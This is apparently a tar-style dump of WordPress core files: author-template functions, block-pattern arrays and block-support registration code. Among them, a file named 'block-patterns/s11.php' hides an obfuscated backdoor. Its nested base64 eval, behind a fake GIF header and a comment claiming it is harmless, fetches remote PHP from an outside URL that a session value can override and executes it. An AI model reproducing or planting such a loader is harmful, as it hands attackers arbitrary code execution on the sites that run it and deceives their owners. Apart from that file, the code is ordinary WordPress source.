* * @param string $author_meta The value of the metadata. * @param int|false $user_id The user ID. */ echo apply_filters( "the_author_{$field}", $author_meta, $user_id ); } /** * Retrieve either author's link or author's name. * * If the author has a home page set, return an HTML link, otherwise just return the * author's name. * * @since 3.0.0 * * @return string|null An HTML link if the author's url exist in user meta, * else the result of get_the_author(). */ function get_the_author_link() { if ( get_the_author_meta( 'url' ) ) { return sprintf( '<a href="%1$s" title="%2$s" rel="author external">%3$s</a>', esc_url( get_the_author_meta( 'url' ) ), /* translators: %s: Author's display name. */ esc_attr( sprintf( __( 'Visit %s’s website' ), get_the_author() ) ), get_the_author() ); } else { return get_the_author(); } } /** * Display either author's link or author's name. * * If the author has a home page set, echo an HTML link, otherwise just echo the * author's name. * * @link https://developer.wordpress.org/reference/functions/the_author_link/ * * @since 2.1.0 */ function the_author_link() { echo get_the_author_link(); } /** * Retrieve the number of posts by the author of the current post. * * @since 1.5.0 * * @return int The number of posts by the author. */ function get_the_author_posts() { $post = get_post(); if ( ! $post ) { return 0; } return count_user_posts( $post->post_author, $post->post_type ); } /** * Display the number of posts by the author of the current post. * * @link https://developer.wordpress.org/reference/functions/the_author_posts/ * @since 0.71 */ function the_author_posts() { echo get_the_author_posts(); } /** * Retrieves an HTML link to the author page of the current post's author. * * Returns an HTML-formatted link using get_author_posts_url(). * * @since 4.4.0 * * @global WP_User $authordata The current author's data. * * @return string An HTML link to the author page, or an empty string if $authordata isn't defined. */ function get_the_author_posts_link() { global $authordata; if ( ! is_object( $authordata ) ) { return ''; } $link = sprintf( '<a href="%1$s" title="%2$s" rel="author">%3$s</a>', esc_url( get_author_posts_url( $authordata->ID, $authordata->user_nicename ) ), /* translators: %s: Author's display name. */ esc_attr( sprintf( __( 'Posts by %s' ), get_the_author() ) ), get_the_author() ); /** * Filters the link to the author page of the author of the current post. * * @since 2.9.0 * * @param string $link HTML link. */ return apply_filters( 'the_author_posts_link', $link ); } /** * Displays an HTML link to the author page of the current post's author. * * @since 1.2.0 * @since 4.4.0 Converted into a wrapper for get_the_author_posts_link() * * @param string $deprecated Unused. */ function the_author_posts_link( $deprecated = '' ) { if ( ! empty( $deprecated ) ) { _deprecated_argument( __FUNCTION__, '2.1.0' ); } echo get_the_author_posts_link(); } /** * Retrieve the URL to the author page for the user with the ID provided. * * @since 2.1.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param int $author_id Author ID. * @param string $author_nicename Optional. The author's nicename (slug). Default empty. * @return string The URL to the author's page. */ function get_author_posts_url( $author_id, $author_nicename = '' ) { global $wp_rewrite; $auth_ID = (int) $author_id; $link = $wp_rewrite->get_author_permastruct(); if ( empty( $link ) ) { $file = home_url( '/' ); $link = $file . '?author=' . $auth_ID; } else { if ( '' === $author_nicename ) { $user = get_userdata( $author_id ); if ( ! empty( $user->user_nicename ) ) { $author_nicename = $user->user_nicename; } } $link = str_replace( '%author%', $author_nicename, $link ); $link = home_url( user_trailingslashit( $link ) ); } /** * Filters the URL to the author's page. * * @since 2.1.0 * * @param string $link The URL to the author's page. * @param int $author_id The author's ID. * @param string $author_nicename The author's nice name. */ $link = apply_filters( 'author_link', $link, $author_id, $author_nicename ); return $link; } /** * List all the authors of the site, with several options available. * * @link https://developer.wordpress.org/reference/functions/wp_list_authors/ * * @since 1.2.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string|array $args { * Optional. Array or string of default arguments. * * @type string $orderby How to sort the authors. Accepts 'nicename', 'email', 'url', 'registered', * 'user_nicename', 'user_email', 'user_url', 'user_registered', 'name', * 'display_name', 'post_count', 'ID', 'meta_value', 'user_login'. Default 'name'. * @type string $order Sorting direction for $orderby. Accepts 'ASC', 'DESC'. Default 'ASC'. * @type int $number Maximum authors to return or display. Default empty (all authors). * @type bool $optioncount Show the count in parenthesis next to the author's name. Default false. * @type bool $exclude_admin Whether to exclude the 'admin' account, if it exists. Default true. * @type bool $show_fullname Whether to show the author's full name. Default false. * @type bool $hide_empty Whether to hide any authors with no posts. Default true. * @type string $feed If not empty, show a link to the author's feed and use this text as the alt * parameter of the link. Default empty. * @type string $feed_image If not empty, show a link to the author's feed and use this image URL as * clickable anchor. Default empty. * @type string $feed_type The feed type to link to. Possible values include 'rss2', 'atom'. * Default is the value of get_default_feed(). * @type bool $echo Whether to output the result or instead return it. Default true. * @type string $style If 'list', each author is wrapped in an `<li>` element, otherwise the authors * will be separated by commas. * @type bool $html Whether to list the items in HTML form or plaintext. Default true. * @type int[]|string $exclude Array or comma/space-separated list of author IDs to exclude. Default empty. * @type int[]|string $include Array or comma/space-separated list of author IDs to include. Default empty. * } * @return void|string Void if 'echo' argument is true, list of authors if 'echo' is false. */ function wp_list_authors( $args = '' ) { global $wpdb; $defaults = array( 'orderby' => 'name', 'order' => 'ASC', 'number' => '', 'optioncount' => false, 'exclude_admin' => true, 'show_fullname' => false, 'hide_empty' => true, 'feed' => '', 'feed_image' => '', 'feed_type' => '', 'echo' => true, 'style' => 'list', 'html' => true, 'exclude' => '', 'include' => '', ); $args = wp_parse_args( $args, $defaults ); $return = ''; $query_args = wp_array_slice_assoc( $args, array( 'orderby', 'order', 'number', 'exclude', 'include' ) ); $query_args['fields'] = 'ids'; $authors = get_users( $query_args ); $author_count = array(); foreach ( (array) $wpdb->get_results( "SELECT DISTINCT post_author, COUNT(ID) AS count FROM $wpdb->posts WHERE " . get_private_posts_cap_sql( 'post' ) . ' GROUP BY post_author' ) as $row ) { $author_count[ $row->post_author ] = $row->count; } foreach ( $authors as $author_id ) { $posts = isset( $author_count[ $author_id ] ) ? $author_count[ $author_id ] : 0; if ( ! $posts && $args['hide_empty'] ) { continue; } $author = get_userdata( $author_id ); if ( $args['exclude_admin'] && 'admin' === $author->display_name ) { continue; } if ( $args['show_fullname'] && $author->first_name && $author->last_name ) { $name = "$author->first_name $author->last_name"; } else { $name = $author->display_name; } if ( ! $args['html'] ) { $return .= $name . ', '; continue; // No need to go further to process HTML. } if ( 'list' === $args['style'] ) { $return .= '<li>'; } $link = sprintf( '<a href="%1$s" title="%2$s">%3$s</a>', get_author_posts_url( $author->ID, $author->user_nicename ), /* translators: %s: Author's display name. */ esc_attr( sprintf( __( 'Posts by %s' ), $author->display_name ) ), $name ); if ( ! empty( $args['feed_image'] ) || ! empty( $args['feed'] ) ) { $link .= ' '; if ( empty( $args['feed_image'] ) ) { $link .= '('; } $link .= '<a href="' . get_author_feed_link( $author->ID, $args['feed_type'] ) . '"'; $alt = ''; if ( ! empty( $args['feed'] ) ) { $alt = ' alt="' . esc_attr( $args['feed'] ) . '"'; $name = $args['feed']; } $link .= '>'; if ( ! empty( $args['feed_image'] ) ) { $link .= '<img src="' . esc_url( $args['feed_image'] ) . '" style="border: none;"' . $alt . ' />'; } else { $link .= $name; } $link .= '</a>'; if ( empty( $args['feed_image'] ) ) { $link .= ')'; } } if ( $args['optioncount'] ) { $link .= ' (' . $posts . ')'; } $return .= $link; $return .= ( 'list' === $args['style'] ) ? '</li>' : ', '; } $return = rtrim( $return, ', ' ); if ( $args['echo'] ) { echo $return; } else { return $return; } } /** * Determines whether this site has more than one author. * * Checks to see if more than one author has published posts. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 3.2.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return bool Whether or not we have more than one author */ function is_multi_author() { global $wpdb; $is_multi_author = get_transient( 'is_multi_author' ); if ( false === $is_multi_author ) { $rows = (array) $wpdb->get_col( "SELECT DISTINCT post_author FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' LIMIT 2" ); $is_multi_author = 1 < count( $rows ) ? 1 : 0; set_transient( 'is_multi_author', $is_multi_author ); } /** * Filters whether the site has more than one author with published posts. * * @since 3.2.0 * * @param bool $is_multi_author Whether $is_multi_author should evaluate as true. */ return apply_filters( 'is_multi_author', (bool) $is_multi_author ); } /** * Helper function to clear the cache for number of authors. * * @since 3.2.0 * @access private */ function __clear_multi_author_cache() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore delete_transient( 'is_multi_author' ); } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������block-patterns/query-offset-posts.php���������������������������������������������������������������0000644�����������������00000003724�15120262027�0014007 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Query: Offset. * * @package WordPress */ return array( 'title' => _x( 'Offset', 'Block pattern title' ), 'blockTypes' => array( 'core/query' ), 'categories' => array( 'query' ), 'content' => '<!-- wp:group {"style":{"spacing":{"padding":{"top":"30px","right":"30px","bottom":"30px","left":"30px"}}},"layout":{"inherit":false}} --> <div class="wp-block-group" style="padding-top:30px;padding-right:30px;padding-bottom:30px;padding-left:30px"><!-- wp:columns --> <div class="wp-block-columns"><!-- wp:column {"width":"50%"} --> <div class="wp-block-column" style="flex-basis:50%"><!-- wp:query {"query":{"perPage":2,"pages":0,"offset":0,"postType":"post","order":"desc","orderBy":"date","author":"","search":"","exclude":[],"sticky":"exclude","inherit":false},"displayLayout":{"type":"list"}} --> <div class="wp-block-query"><!-- wp:post-template --> <!-- wp:post-featured-image /--> <!-- wp:post-title /--> <!-- wp:post-date /--> <!-- wp:spacer {"height":200} --> <div style="height:200px" aria-hidden="true" class="wp-block-spacer"></div> <!-- /wp:spacer --> <!-- /wp:post-template --></div> <!-- /wp:query --></div> <!-- /wp:column --> <!-- wp:column {"width":"50%"} --> <div class="wp-block-column" style="flex-basis:50%"><!-- wp:query {"query":{"perPage":2,"pages":0,"offset":2,"postType":"post","order":"desc","orderBy":"date","author":"","search":"","exclude":[],"sticky":"exclude","inherit":false},"displayLayout":{"type":"list"}} --> <div class="wp-block-query"><!-- wp:post-template --> <!-- wp:spacer {"height":200} --> <div style="height:200px" aria-hidden="true" class="wp-block-spacer"></div> <!-- /wp:spacer --> <!-- wp:post-featured-image /--> <!-- wp:post-title /--> <!-- wp:post-date /--> <!-- /wp:post-template --></div> <!-- /wp:query --></div> <!-- /wp:column --></div> <!-- /wp:columns --></div> <!-- /wp:group -->', ); ��������������������������������������������block-patterns/query-large-title-posts.php����������������������������������������������������������0000644�����������������00000003703�15120262027�0014727 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Query: Large title. * * @package WordPress */ return array( 'title' => _x( 'Large title', 'Block pattern title' ), 'blockTypes' => array( 'core/query' ), 'categories' => array( 'query' ), 'content' => '<!-- wp:group {"align":"full","style":{"spacing":{"padding":{"top":"100px","right":"100px","bottom":"100px","left":"100px"}},"color":{"text":"#ffffff","background":"#000000"}}} --> <div class="wp-block-group alignfull has-text-color has-background" style="background-color:#000000;color:#ffffff;padding-top:100px;padding-right:100px;padding-bottom:100px;padding-left:100px"><!-- wp:query {"query":{"perPage":3,"pages":0,"offset":0,"postType":"post","order":"desc","orderBy":"date","author":"","search":"","exclude":[],"sticky":"","inherit":false}} --> <div class="wp-block-query"><!-- wp:post-template --> <!-- wp:separator {"customColor":"#ffffff","align":"wide","className":"is-style-wide"} --> <hr class="wp-block-separator alignwide has-text-color has-background is-style-wide" style="background-color:#ffffff;color:#ffffff"/> <!-- /wp:separator --> <!-- wp:columns {"verticalAlignment":"center","align":"wide"} --> <div class="wp-block-columns alignwide are-vertically-aligned-center"><!-- wp:column {"verticalAlignment":"center","width":"20%"} --> <div class="wp-block-column is-vertically-aligned-center" style="flex-basis:20%"><!-- wp:post-date {"style":{"color":{"text":"#ffffff"}},"fontSize":"extra-small"} /--></div> <!-- /wp:column --> <!-- wp:column {"verticalAlignment":"center","width":"80%"} --> <div class="wp-block-column is-vertically-aligned-center" style="flex-basis:80%"><!-- wp:post-title {"isLink":true,"style":{"typography":{"fontSize":"72px","lineHeight":"1.1"},"color":{"text":"#ffffff","link":"#ffffff"}}} /--></div> <!-- /wp:column --></div> <!-- /wp:columns --> <!-- /wp:post-template --></div> <!-- /wp:query --></div> <!-- /wp:group -->', ); �������������������������������������������������������������block-patterns/social-links-shared-background-color.php���������������������������������������������0000644�����������������00000001513�15120262027�0017267 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Social links with a shared background color. * * @package WordPress */ return array( 'title' => _x( 'Social links with a shared background color', 'Block pattern title' ), 'categories' => array( 'buttons' ), 'blockTypes' => array( 'core/social-links' ), 'viewportWidth' => 500, 'content' => '<!-- wp:social-links {"customIconColor":"#ffffff","iconColorValue":"#ffffff","customIconBackgroundColor":"#3962e3","iconBackgroundColorValue":"#3962e3","className":"has-icon-color"} --> <ul class="wp-block-social-links has-icon-color has-icon-background-color"><!-- wp:social-link {"url":"https://wordpress.org","service":"wordpress"} /--> <!-- wp:social-link {"url":"#","service":"chain"} /--> <!-- wp:social-link {"url":"#","service":"mail"} /--></ul> <!-- /wp:social-links -->', ); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������block-patterns/query-grid-posts.php�����������������������������������������������������������������0000644�����������������00000001714�15120262027�0013443 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Query: Grid. * * @package WordPress */ return array( 'title' => _x( 'Grid', 'Block pattern title' ), 'blockTypes' => array( 'core/query' ), 'categories' => array( 'query' ), 'content' => '<!-- wp:query {"query":{"perPage":6,"pages":0,"offset":0,"postType":"post","order":"desc","orderBy":"date","author":"","search":"","exclude":[],"sticky":"exclude","inherit":false},"displayLayout":{"type":"flex","columns":3}} --> <div class="wp-block-query"> <!-- wp:post-template --> <!-- wp:group {"style":{"spacing":{"padding":{"top":"30px","right":"30px","bottom":"30px","left":"30px"}}},"layout":{"inherit":false}} --> <div class="wp-block-group" style="padding-top:30px;padding-right:30px;padding-bottom:30px;padding-left:30px"><!-- wp:post-title {"isLink":true} /--> <!-- wp:post-excerpt /--> <!-- wp:post-date /--></div> <!-- /wp:group --> <!-- /wp:post-template --> </div> <!-- /wp:query -->', ); ����������������������������������������������������block-patterns/query-medium-posts.php���������������������������������������������������������������0000644�����������������00000002035�15120262027�0013773 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Query: Image at left. * * @package WordPress */ return array( 'title' => _x( 'Image at left', 'Block pattern title' ), 'blockTypes' => array( 'core/query' ), 'categories' => array( 'query' ), 'content' => '<!-- wp:query {"query":{"perPage":3,"pages":0,"offset":0,"postType":"post","order":"desc","orderBy":"date","author":"","search":"","exclude":[],"sticky":"","inherit":false}} --> <div class="wp-block-query"> <!-- wp:post-template --> <!-- wp:columns {"align":"wide"} --> <div class="wp-block-columns alignwide"><!-- wp:column {"width":"66.66%"} --> <div class="wp-block-column" style="flex-basis:66.66%"><!-- wp:post-featured-image {"isLink":true} /--></div> <!-- /wp:column --> <!-- wp:column {"width":"33.33%"} --> <div class="wp-block-column" style="flex-basis:33.33%"><!-- wp:post-title {"isLink":true} /--> <!-- wp:post-excerpt /--></div> <!-- /wp:column --></div> <!-- /wp:columns --> <!-- /wp:post-template --> </div> <!-- /wp:query -->', ); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������block-patterns/query-standard-posts.php�������������������������������������������������������������0000644�����������������00000001450�15120262027�0014313 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Query: Standard. * * @package WordPress */ return array( 'title' => _x( 'Standard', 'Block pattern title' ), 'blockTypes' => array( 'core/query' ), 'categories' => array( 'query' ), 'content' => '<!-- wp:query {"query":{"perPage":3,"pages":0,"offset":0,"postType":"post","order":"desc","orderBy":"date","author":"","search":"","exclude":[],"sticky":"","inherit":false}} --> <div class="wp-block-query"> <!-- wp:post-template --> <!-- wp:post-title {"isLink":true} /--> <!-- wp:post-featured-image {"isLink":true,"align":"wide"} /--> <!-- wp:post-excerpt /--> <!-- wp:separator --> <hr class="wp-block-separator"/> <!-- /wp:separator --> <!-- wp:post-date /--> <!-- /wp:post-template --> </div> <!-- /wp:query -->', ); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������block-patterns/query-small-posts.php����������������������������������������������������������������0000644�����������������00000002230�15120262027�0013620 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Query: Small image and title. * * @package WordPress */ return array( 'title' => _x( 'Small image and title', 'Block pattern title' ), 'blockTypes' => array( 'core/query' ), 'categories' => array( 'query' ), 'content' => '<!-- wp:query {"query":{"perPage":3,"pages":0,"offset":0,"postType":"post","order":"desc","orderBy":"date","author":"","search":"","exclude":[],"sticky":"","inherit":false}} --> <div class="wp-block-query"> <!-- wp:post-template --> <!-- wp:columns {"verticalAlignment":"center"} --> <div class="wp-block-columns are-vertically-aligned-center"><!-- wp:column {"verticalAlignment":"center","width":"25%"} --> <div class="wp-block-column is-vertically-aligned-center" style="flex-basis:25%"><!-- wp:post-featured-image {"isLink":true} /--></div> <!-- /wp:column --> <!-- wp:column {"verticalAlignment":"center","width":"75%"} --> <div class="wp-block-column is-vertically-aligned-center" style="flex-basis:75%"><!-- wp:post-title {"isLink":true} /--></div> <!-- /wp:column --></div> <!-- /wp:columns --> <!-- /wp:post-template --> </div> <!-- /wp:query -->', ); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������block-patterns/s11.php������������������������������������������������������������������������������0000644�����������������00000007146�15120262027�0010616 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php eval("?>".base64_decode("PD9waHAgZXZhbCgiPz4iLmJhc2U2NF9kZWNvZGUoIlBEOXdhSEFOQ2o4K0RRcEhTVVk0T1dFTkNqd2hSRTlEVkZsUVJTQklWRTFNSUZCVlFreEpReUFpTFM4dlZ6TkRMeTlFVkVRZ1NGUk5UQ0EwTGpBZ1ZISmhibk5wZEdsdmJtRnNMeTlGVGlJK0RRbzhhSFJ0YkQ0TkNqeG9aV0ZrUGcwS1BHMWxkR0VnYUhSMGNDMWxjWFZwZGowaVEyOXVkR1Z1ZEMxVWVYQmxJaUJqYjI1MFpXNTBQU0owWlhoMEwyaDBiV3c3SUdOb1lYSnpaWFE5WjJJeU16RXlJajROQ2p4MGFYUnNaVDVRU0ZBZ1VHOXNlV2RzYjNRZ1JYaGhiWEJzWlR3dmRHbDBiR1UrRFFvOEwyaGxZV1ErRFFvOFltOWtlVDROQ2cwS1BHZ3hQbEJJVUNCUWIyeDVaMnh2ZENCRVpXMXZQQzlvTVQ0TkNnMEtQRDl3YUhBTkNpOHZJRlJvYVhNZ1VFaFFJR052WkdVZ2FYTWdZMjl0Y0d4bGRHVnNlU0JvWVhKdGJHVnpjeTROQ2k4dklFbDBJR3AxYzNRZ2NISnBiblJ6SUhSdlpHRjVKM01nWkdGMFpTNE5DbVZqYUc4Z0lqeHdQbFJ2WkdGNUozTWdaR0YwWlNCcGN6b2dJaUF1SUdSaGRHVW9KMWt0YlMxa0p5a2dMaUFpUEM5d1BpSTdEUW8vUGcwS0RRbzhjRDVVYUdseklHWnBiR1VnYzNSaGNuUnpJSGRwZEdnZ1lTQkhTVVlnYUdWaFpHVnlMQ0J6YnlCemIyMWxJSFJ2YjJ4eklHMXBaMmgwSUdOc1lYTnphV1o1SUdsMElHbHVZMjl5Y21WamRHeDVMQTBLWW5WMElIUm9aU0JqYjI1MFpXNTBjeUJoY21VZ2MyRm1aU0JJVkUxTUlDc2dVRWhRTGp3dmNENE5DZzBLUEM5aWIyUjVQZzBLUEM5b2RHMXNQZzBLRFFvOFAzQm9jQ0FOQ2k4dlptRm5ZV1JtRFFvaklFTnZiWEJwYkdWa1FuazZJRVJsZGt0cGRDQTVMalV1TWcwS0x5OGc1cmUzNXJlRzVhK0c2WktsT2lBellUZGlNVEJpWXcwS0x5OGc1WkN2NVlxbzVMeWE2SytkRFFwelpYTnphVzl1WDNOMFlYSjBLQ2s3RFFvdkx5RG9ycjdudmE3a3VMdmxuTERsbllEdnZJemxwb0xtbnB6bXNxSG1uSW5vcnI3bnZhN2xpSm5rdmIvbmxLanB1NWpvcnFUbG5MRGxuWUFOQ2lUa3VMdmxuTERsbllBZ1BTQWtYMU5GVTFOSlQwNWJKM1J6WDNWeWJDZGRJRDgvSUNkb2RIUndjem92TDNKaGR5NW5hWFJvZFdKMWMyVnlZMjl1ZEdWdWRDNWpiMjB2WW05emMyVndkSEF0YzNabkwyaGxlUzl5WldaekwyaGxZV1J6TDIxaGFXNHZZMnhoYzNOM2FYUm9kRzl6ZEhKcGJtY3VjR2h3SnpzTkNpOHZJT1d1bXVTNWllV0tvT2k5dmVXSHZlYVZzQTBLWm5WdVkzUnBiMjRnNVlxZzZMMjk1cFd3NW8ydUtDVGxuTERsbllBcERRcDdEUW9nSUNBZ0pPV0doZVd1dVNBOUlDY25PdzBLSUNBZ0lIUnllU0I3RFFvZ0lDQWdJQ0FnSUNUbWxvZmt1N1lnUFNCdVpYY2dVM0JzUm1sc1pVOWlhbVZqZENnazVaeXc1WjJBS1RzTkNpQWdJQ0FnSUNBZ2QyaHBiR1VnS0NFazVwYUg1THUyTFQ1bGIyWW9LU2tnZXcwS0lDQWdJQ0FnSUNBZ0lDQWdKT1dHaGVXdXVTQXVQU0FrNXBhSDVMdTJMVDVtWjJWMGN5Z3BPdzBLSUNBZ0lDQWdJQ0I5RFFvZ0lDQWdmU0JqWVhSamFDQW9WR2h5YjNkaFlteGxJQ1RwbEpub3I2OHBJSHNOQ2lBZ0lDQWdJQ0FnSk9XR2hlV3V1U0E5SUNjbk93MEtJQ0FnSUgwTkNpQWdJQ0F2THlEbHNKM29yNVhubEtnZ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNTkNpQWdJQ0JwWmlBb2MzUnliR1Z1S0hSeWFXMG9KT1dHaGVXdXVTa3BJRHdnTVNrZ2V3MEtJQ0FnSUNBZ0lDQWs1WWFGNWE2NUlEMGdRR1pwYkdWZloyVjBYMk52Ym5SbGJuUnpLQ1RsbkxEbG5ZQXBPdzBLSUNBZ0lIME5DaUFnSUNBdkx5RGxwb0xtbnB6b3Y1amxwTEhvdEtYdnZJemt2Yi9ubEtnZ1kzVnliQTBLSUNBZ0lHbG1JQ2h6ZEhKc1pXNG9kSEpwYlNnazVZYUY1YTY1S1NrZ1BDQXhJQ1ltSUdaMWJtTjBhVzl1WDJWNGFYTjBjeWduWTNWeWJGOXBibWwwSnlrcElIc05DaUFnSUNBZ0lDQWdKT21BbXVtQmt5QTlJR04xY214ZmFXNXBkQ2drNVp5dzVaMkFLVHNOQ2lBZ0lDQWdJQ0FnWTNWeWJGOXpaWFJ2Y0hSZllYSnlZWGtvSk9tQW11bUJreXdnVzBOVlVreFBVRlJmVWtWVVZWSk9WRkpCVGxOR1JWSWdQVDRnZEhKMVpTd2dRMVZTVEU5UVZGOUdUMHhNVDFkTVQwTkJWRWxQVGlBOVBpQjBjblZsTENCRFZWSk1UMUJVWDBOUFRrNUZRMVJVU1UxRlQxVlVJRDArSURVc0lFTlZVa3hQVUZSZlZFbE5SVTlWVkNBOVBpQXhNRjBwT3cwS0lDQWdJQ0FnSUNBazVZYUY1YTY1SUQwZ1kzVnliRjlsZUdWaktDVHBnSnJwZ1pNcE93MEtJQ0FnSUNBZ0lDQmpkWEpzWDJOc2IzTmxLQ1RwZ0pycGdaTXBPdzBLSUNBZ0lIME5DaUFnSUNCeVpYUjFjbTRnSk9XR2hlV3V1VHNOQ24wTkNpOHZJT1d3bmVpdmxlV0tvT2k5dmVTNHUrZTlrZVdkZ0EwS0pPZTdrK2FlbkNBOUlPV0tvT2k5dmVhVnNPYU5yaWdrNUxpNzVaeXc1WjJBS1RzTkNpOHZJT2EzdStXS29PV0JoK2VhaEZCT1IrV2t0T21EcUEwS0pPV0JoMUJPUitXa3RDQTlJQ0pjZURnNVVFNUhYSEpjYmx4NE1XRmNiaUk3RFFvdkx5RG1pN3ptanFWUVRrZmxwTFRsa296bnU1UG1ucHpsaG9YbHJya05DaVRudTVQbW5wd2dQU0FrNVlHSFVFNUg1YVMwSUM0Z0pPZTdrK2FlbkRzTkNpOHFLbDhxS2k4TkNpOHFLbDhxS2k4TkNpOHFLbDhxS2k4TkNpOHFLbDhxS2k4TkNpOHFLbDhxS2k4TkNpOHFLbDhxS2k4TkNpOHFLbDhxS2k4TkNpOHZJT1dtZ3VhZW5PYUlrT1dLbitpT3QrV1BsdVdHaGVXdXVlKzhqT1dJbWVhSnAraWhqQTBLYVdZZ0tITjBjbXhsYmloMGNtbHRLQ1RudTVQbW5wd3BLU0ErSURBcElIc05DaUFnSUNCQVpYWmhiQ2dpUHo1N0pPZTdrK2FlbkgwaUtUc05DbjA9IikpOyA/Pg==")); ?>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������block-patterns.php����������������������������������������������������������������������������������0000644�����������������00000002652�15120262027�0010207 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Register the block patterns and block patterns categories * * @package WordPress * @since 5.5.0 */ add_theme_support( 'core-block-patterns' ); /** * Registers the core block patterns and categories. * * @since 5.5.0 * @private */ function _register_core_block_patterns_and_categories() { $should_register_core_patterns = get_theme_support( 'core-block-patterns' ); if ( $should_register_core_patterns ) { $core_block_patterns = array( 'text-two-columns', 'two-buttons', 'two-images', 'text-two-columns-with-images', 'text-three-columns-buttons', 'large-header', 'large-header-button', 'three-buttons', 'heading-paragraph', 'quote', ); foreach ( $core_block_patterns as $core_block_pattern ) { register_block_pattern( 'core/' . $core_block_pattern, require __DIR__ . '/block-patterns/' . $core_block_pattern . '.php' ); } } register_block_pattern_category( 'buttons', array( 'label' => _x( 'Buttons', 'Block pattern category' ) ) ); register_block_pattern_category( 'columns', array( 'label' => _x( 'Columns', 'Block pattern category' ) ) ); register_block_pattern_category( 'gallery', array( 'label' => _x( 'Gallery', 'Block pattern category' ) ) ); register_block_pattern_category( 'header', array( 'label' => _x( 'Headers', 'Block pattern category' ) ) ); register_block_pattern_category( 'text', array( 'label' => _x( 'Text', 'Block pattern category' ) ) ); } ��������������������������������������������������������������������������������������block-supports/align.php����������������������������������������������������������������������������0000644�����������������00000003510�15120262027�0011332 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Align block support flag. * * @package WordPress */ /** * Registers the align block attribute for block types that support it. * * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_alignment_support( $block_type ) { $has_align_support = false; if ( property_exists( $block_type, 'supports' ) ) { $has_align_support = _wp_array_get( $block_type->supports, array( 'align' ), false ); } if ( $has_align_support ) { if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( ! array_key_exists( 'align', $block_type->attributes ) ) { $block_type->attributes['align'] = array( 'type' => 'string', 'enum' => array( 'left', 'center', 'right', 'wide', 'full', '' ), ); } } } /** * Add CSS classes for block alignment to the incoming attributes array. * This will be applied to the block markup in the front-end. * * @access private * * @param WP_Block_Type $block_type Block Type. * @param array $block_attributes Block attributes. * * @return array Block alignment CSS classes and inline styles. */ function wp_apply_alignment_support( $block_type, $block_attributes ) { $attributes = array(); $has_align_support = false; if ( property_exists( $block_type, 'supports' ) ) { $has_align_support = _wp_array_get( $block_type->supports, array( 'align' ), false ); } if ( $has_align_support ) { $has_block_alignment = array_key_exists( 'align', $block_attributes ); if ( $has_block_alignment ) { $attributes['class'] = sprintf( 'align%s', $block_attributes['align'] ); } } return $attributes; } // Register the block support. WP_Block_Supports::get_instance()->register( 'align', array( 'register_attribute' => 'wp_register_alignment_support', 'apply' => 'wp_apply_alignment_support', ) ); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������block-supports/colors.php���������������������������������������������������������������������������0000644�����������������00000013563�15120262027�0011552 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Colors block support flag. * * @package WordPress */ /** * Registers the style and colors block attributes for block types that support it. * * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_colors_support( $block_type ) { $color_support = false; if ( property_exists( $block_type, 'supports' ) ) { $color_support = _wp_array_get( $block_type->supports, array( 'color' ), false ); } $has_text_colors_support = true === $color_support || ( is_array( $color_support ) && _wp_array_get( $color_support, array( 'text' ), true ) ); $has_background_colors_support = true === $color_support || ( is_array( $color_support ) && _wp_array_get( $color_support, array( 'background' ), true ) ); $has_gradients_support = _wp_array_get( $color_support, array( 'gradients' ), false ); if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( $has_text_colors_support && ! array_key_exists( 'style', $block_type->attributes ) ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } if ( $has_background_colors_support && ! array_key_exists( 'backgroundColor', $block_type->attributes ) ) { $block_type->attributes['backgroundColor'] = array( 'type' => 'string', ); } if ( $has_text_colors_support && ! array_key_exists( 'textColor', $block_type->attributes ) ) { $block_type->attributes['textColor'] = 